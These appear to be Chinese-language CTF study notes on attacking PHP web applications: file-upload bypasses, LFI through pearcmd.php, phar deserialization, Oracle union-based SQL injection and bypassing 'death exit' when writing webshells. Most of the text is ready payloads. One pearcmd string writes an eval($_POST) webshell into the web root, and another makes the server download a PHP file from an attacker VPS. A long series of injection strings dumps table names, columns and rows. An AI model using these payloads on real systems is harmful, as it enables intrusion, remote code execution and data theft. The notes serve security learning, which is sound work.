Upload_LFI补课
upload_lab补测
常见绕过
前端都是纸老虎
简单的话就使用console修改前端js实现
复杂的话就上传一个正常文件,然后修改流量包
例如限制了
Content-Type: image/png |
那么直接在上传木马时修改成对应的即可
不会影响文件的使用
那么可以解析为php的文件后缀有很多
常见的:
php,php3,php4,php5,phtml |
上传.htaccess
文件
可以让更多的文件类型解析为php
示例:
<Directory /> |
上传.user.ini
文件
auto_prepend_file=test.txt |
加点,加空格,双写,0x00阶段
不重复写了
LFI
php pear文件包含漏洞
全称为PHP Extension and Application Repository
开启了register_argc_argv这个选项
url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里
argv是通过+作为分隔符
pear文件源码:
|
当执行了pear时,会将$_SERVER[‘argv’]当作参数一起执行,从而自动拉取了指定的php文件
|
根据提示找到phpinfo.php
发现fake{Check_register_argc_argv}
于是查看register_argc_argv
都是on
且php服务的路径为/usr/local/etc/php
而当前网页的路径为SCRIPT_FILENAME /var/www/html/index.php
所以可以使用pearcmd.php进行命令的执行
pear命令可使用的参数:
构造:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php |
在服务器中运行的命令实际为:
pear config-create "/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>" /var/www/html/a.php |
最后包含a.php即可完成getshell
PS:尖括号用burpsuite发
https://whhxy4.github.io/2023/10/18/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/#:~:text=PHP%E8%A3%B8%E6%96%87%E4%BB%B6
题目:
|
是一个绕过require_once包含限制的题
详见https://www.anquanke.com/post/id/213235
payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php |
成功进入第二步/levelllll2.php:
|
观察到register_argc_argv = On,可能是pear文件包含漏洞
构造payload:
/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+download+http://vps地址:vps端口/1.php |
成功getshell
CVE-2024-2961
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
phar文件包含
phar支持对一些压缩包的操作
不过只支持.zip
和.tar
格式的
例如我们写一个test.php
:
eval($_POST[1]); @ |
将其压缩为test.zip
然后直接修改文件名为test.jpg
就可以正常上传
如果有一个include
的文件包含点
就可以利用phar
伪协议包含文件里面的内容:
|
Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。 |
这让我想起shiro
的cookie
反序列化
A stub:
stub的基本结构:<?php HALT_COMPILER(); |
a manifest describing the contents:
Phar文件中被压缩的文件的一些信息, |
the file contents:
被压缩的文件内容,在没有特殊要求的情况下, |
a signature for verifying Phar integrity:
签名格式 |
生成一个phar:
|
具体的利用方式:
|
Oracle
Oracle Database,又名 Oracle RDBMS,或简称 Oracle。 |
数据库操作
• 查询数据库版本信息
-- 无需特权 |
• 查询操作系统版本
SELECT banner FROM v$version where banner like 'TNS%'; |
• 查询数据库运行的主机名
-- 需要特权 |
• 查询当前用户权限的所有数据库
SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user; |
• 查询当前用户权限的所有数据库
-- 无需特权 |
• 查询数据库所有用户
-- 需要特权 |
注入payload
https://blog.csdn.net/Javachichi/article/details/128711756
判断数据库类型
-- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
?ename=-1' or to_char(1)=1--+
?ename=-1' or to_number('2e0')=2--+查询表名
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+查询表中的字段名
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+查询具体的数据
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+s
绕过死亡exit
分三种情况
|
都是写马,但是很可能在需要的代码执行前被退出或报错中断
第一种是文件名和内容都分别可控,
第二种要求文件名和内容相同
第三种文件名和内容分别可控,但在内容后接入了错误代码
这里我们的思路一般是想要将杂糅或者死亡代码分解掉; |
第一种
各种各样的利用协议进行编码绕过
这里记一下下面的两种也可以用
第二种
极客大挑战2024 ezpop
题目:
|
分析代码,发现:
- 漏洞利用点在
SYC
类的file_put_contents
中 - 反序列化起始点在
lover
类 - pop链逻辑为 lover(destruct) -> Geek(get) -> lover(invoke) -> Geek(tostring) -> SYC(call)
poc如下:
|
需要注意的绕过点:
- 十六进制绕过
$meimeng
的正则匹配 - 伪协议绕过
$J1rry
的file_get_content
- 绕过死亡
exit
的大部分filter
被ban,只能使用strip_tags
写.htaccess进行文件包含
第三种
这种情况较为简单,仅仅需要让后面的杂糅代码被注释掉就就可以,
针对 php 而言,拥有特殊的起始符和结束符,
如果可以写入 php 代码的话,就可以轻易的绕过后面的杂糅代码。
正常写入payload即可,比如,
识别到?>自动结束,也就不会受到杂糅代码的影响。
但是在禁止使用拥有特殊起始符和结束符号的语言时,需要想办法处理掉杂糅的代码。
通常利用 .htaccess 进行操作。
先写入存在php代码的文件(可以不是php文件),然后利用.htaccess预包含:
$filename='.htaccess' |
这里的%0a%23
用来换行并注释杂糅代码,\
用来转义\n
使其也被注释,
确保.htaccess
的编排不会出错,出错的后果就无法执行。